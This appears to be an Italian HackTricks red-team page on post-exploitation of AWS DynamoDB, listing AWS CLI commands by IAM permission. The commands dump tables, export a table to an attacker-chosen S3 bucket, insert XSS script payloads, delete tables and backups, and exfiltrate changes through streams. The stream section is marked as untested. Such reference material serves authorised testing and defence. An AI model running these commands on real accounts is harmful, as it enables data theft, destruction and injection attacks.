AWS - DynamoDB Post Exploitation

Reading time: 9 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

DynamoDB

Per ulteriori informazioni controlla:

AWS - DynamoDB Enum

dynamodb:BatchGetItem

Un attaccante con questi permessi sarà in grado di ottenere elementi dalle tabelle tramite la chiave primaria (non puoi semplicemente richiedere tutti i dati della tabella). Questo significa che devi conoscere le chiavi primarie (puoi ottenerle recuperando i metadati della tabella (describe-table).

bash
aws dynamodb batch-get-item --request-items file:///tmp/a.json

// With a.json
{
"ProductCatalog" : { // This is the table name
"Keys": [
{
"Id" : { // Primary keys name
"N": "205" // Value to search for, you could put here entries from 1 to 1000 to dump all those
}
}
]
}
}

Impatto Potenziale: Privesc indiretto localizzando informazioni sensibili nella tabella

dynamodb:GetItem

Simile ai permessi precedenti questo consente a un potenziale attaccante di leggere valori da una sola tabella dato la chiave primaria dell'elemento da recuperare:

json
aws dynamodb get-item --table-name ProductCatalog --key  file:///tmp/a.json

// With a.json
{
"Id" : {
"N": "205"
}
}

Con questo permesso è anche possibile utilizzare il metodo transact-get-items come:

json
aws dynamodb transact-get-items \
--transact-items file:///tmp/a.json

// With a.json
[
{
"Get": {
"Key": {
"Id": {"N": "205"}
},
"TableName": "ProductCatalog"
}
}
]

Impatto Potenziale: Privesc indiretto localizzando informazioni sensibili nella tabella

dynamodb:Query

Simile ai permessi precedenti questo consente a un potenziale attaccante di leggere valori da solo 1 tabella dato la chiave primaria dell'elemento da recuperare. Consente di utilizzare un sottoinsieme di confronti, ma l'unico confronto consentito con la chiave primaria (che deve apparire) è "EQ", quindi non puoi utilizzare un confronto per ottenere l'intero DB in una richiesta.

bash
aws dynamodb query --table-name ProductCatalog --key-conditions file:///tmp/a.json

// With a.json
{
"Id" : {
"ComparisonOperator":"EQ",
"AttributeValueList": [ {"N": "205"} ]
}
}

Impatto Potenziale: Privilegi indiretti di accesso localizzando informazioni sensibili nella tabella

dynamodb:Scan

Puoi utilizzare questo permesso per estrarre facilmente l'intera tabella.

bash
aws dynamodb scan --table-name <t_name> #Get data inside the table

Impatto Potenziale: Privesc indiretto localizzando informazioni sensibili nella tabella

dynamodb:PartiQLSelect

Puoi utilizzare questo permesso per estrarre facilmente l'intera tabella.

bash
aws dynamodb execute-statement \
--statement "SELECT * FROM ProductCatalog"

Questa autorizzazione consente anche di eseguire batch-execute-statement come:

bash
aws dynamodb batch-execute-statement \
--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'

ma è necessario specificare la chiave primaria con un valore, quindi non è così utile.

Impatto Potenziale: Privesc indiretto localizzando informazioni sensibili nella tabella

dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)

Questa autorizzazione consentirà a un attaccante di esportare l'intera tabella in un bucket S3 di sua scelta:

bash
aws dynamodb export-table-to-point-in-time \
--table-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable \
--s3-bucket <attacker_s3_bucket> \
--s3-prefix <optional_prefix> \
--export-time <point_in_time> \
--region <region>

Nota che per farlo funzionare la tabella deve avere il point-in-time-recovery abilitato, puoi controllare se la tabella ce l'ha con:

bash
aws dynamodb describe-continuous-backups \
--table-name <tablename>

Se non è abilitato, dovrai abilitarlo e per questo hai bisogno del permesso dynamodb:ExportTableToPointInTime:

bash
aws dynamodb update-continuous-backups \
--table-name <value> \
--point-in-time-recovery-specification PointInTimeRecoveryEnabled=true

Impatto Potenziale: Privesc indiretto localizzando informazioni sensibili nella tabella

dynamodb:CreateTable, dynamodb:RestoreTableFromBackup, (dynamodb:CreateBackup)

Con questi permessi, un attaccante sarebbe in grado di creare una nuova tabella da un backup (o anche creare un backup per poi ripristinarlo in una tabella diversa). Poi, con i permessi necessari, sarebbe in grado di controllare informazioni dai backup che potrebbero non essere più nella tabella di produzione.

bash
aws dynamodb restore-table-from-backup \
--backup-arn <source-backup-arn> \
--target-table-name <new-table-name> \
--region <region>

Impatto Potenziale: Privesc indiretto localizzando informazioni sensibili nel backup della tabella

dynamodb:PutItem

Questo permesso consente agli utenti di aggiungere un nuovo elemento alla tabella o sostituire un elemento esistente con un nuovo elemento. Se un elemento con la stessa chiave primaria esiste già, l'intero elemento sarà sostituito con il nuovo elemento. Se la chiave primaria non esiste, un nuovo elemento con la chiave primaria specificata sarà creato.

bash
## Create new item with XSS payload
aws dynamodb put-item --table <table_name> --item file://add.json
### With add.json:
{
"Id": {
"S": "1000"
},
"Name": {
"S":  "Marc"
},
"Description": {
"S": "<script>alert(1)</script>"
}
}

Impatto Potenziale: Sfruttamento di ulteriori vulnerabilità/bypass grazie alla possibilità di aggiungere/modificare dati in una tabella DynamoDB

dynamodb:UpdateItem

Questa autorizzazione consente agli utenti di modificare gli attributi esistenti di un elemento o aggiungere nuovi attributi a un elemento. Non sostituisce l'intero elemento; aggiorna solo gli attributi specificati. Se la chiave primaria non esiste nella tabella, l'operazione creerà un nuovo elemento con la chiave primaria specificata e imposterà gli attributi specificati nell'espressione di aggiornamento.

bash
## Update item with XSS payload
aws dynamodb update-item --table <table_name> \
--key file://key.json --update-expression "SET Description = :value" \
--expression-attribute-values file://val.json
### With key.json:
{
"Id": {
"S": "1000"
}
}
### and val.json
{
":value": {
"S": "<script>alert(1)</script>"
}
}

Impatto Potenziale: Sfruttamento di ulteriori vulnerabilità/evasioni grazie alla possibilità di aggiungere/modificare dati in una tabella DynamoDB

dynamodb:DeleteTable

Un attaccante con questo permesso può eliminare una tabella DynamoDB, causando perdita di dati.

bash
aws dynamodb delete-table \
--table-name TargetTable \
--region <region>

Impatto potenziale: Perdita di dati e interruzione dei servizi che dipendono dalla tabella eliminata.

dynamodb:DeleteBackup

Un attaccante con questo permesso può eliminare un backup di DynamoDB, causando potenzialmente perdita di dati in caso di uno scenario di recupero da disastro.

bash
aws dynamodb delete-backup \
--backup-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable/backup/BACKUP_ID \
--region <region>

Impatto potenziale: Perdita di dati e impossibilità di recuperare da un backup durante uno scenario di disaster recovery.

dynamodb:StreamSpecification, dynamodb:UpdateTable, dynamodb:DescribeStream, dynamodb:GetShardIterator, dynamodb:GetRecords

note

TODO: Testare se questo funziona effettivamente

Un attaccante con questi permessi può abilitare uno stream su una tabella DynamoDB, aggiornare la tabella per iniziare a trasmettere le modifiche e poi accedere allo stream per monitorare le modifiche alla tabella in tempo reale. Questo consente all'attaccante di monitorare ed esfiltrare le modifiche ai dati, portando potenzialmente a una perdita di dati.

  1. Abilitare uno stream su una tabella DynamoDB:
bash
bashCopy codeaws dynamodb update-table \
--table-name TargetTable \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \
--region <region>
  1. Descrivere il flusso per ottenere l'ARN e altri dettagli:
bash
bashCopy codeaws dynamodb describe-stream \
--table-name TargetTable \
--region <region>
  1. Ottieni l'iteratore di shard utilizzando l'ARN dello stream:
bash
bashCopy codeaws dynamodbstreams get-shard-iterator \
--stream-arn <stream_arn> \
--shard-id <shard_id> \
--shard-iterator-type LATEST \
--region <region>
  1. Utilizza l'iteratore di shard per accedere ed esfiltrare dati dal flusso:
bash
bashCopy codeaws dynamodbstreams get-records \
--shard-iterator <shard_iterator> \
--region <region>

Impatto potenziale: Monitoraggio in tempo reale e perdita di dati delle modifiche alla tabella DynamoDB.

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks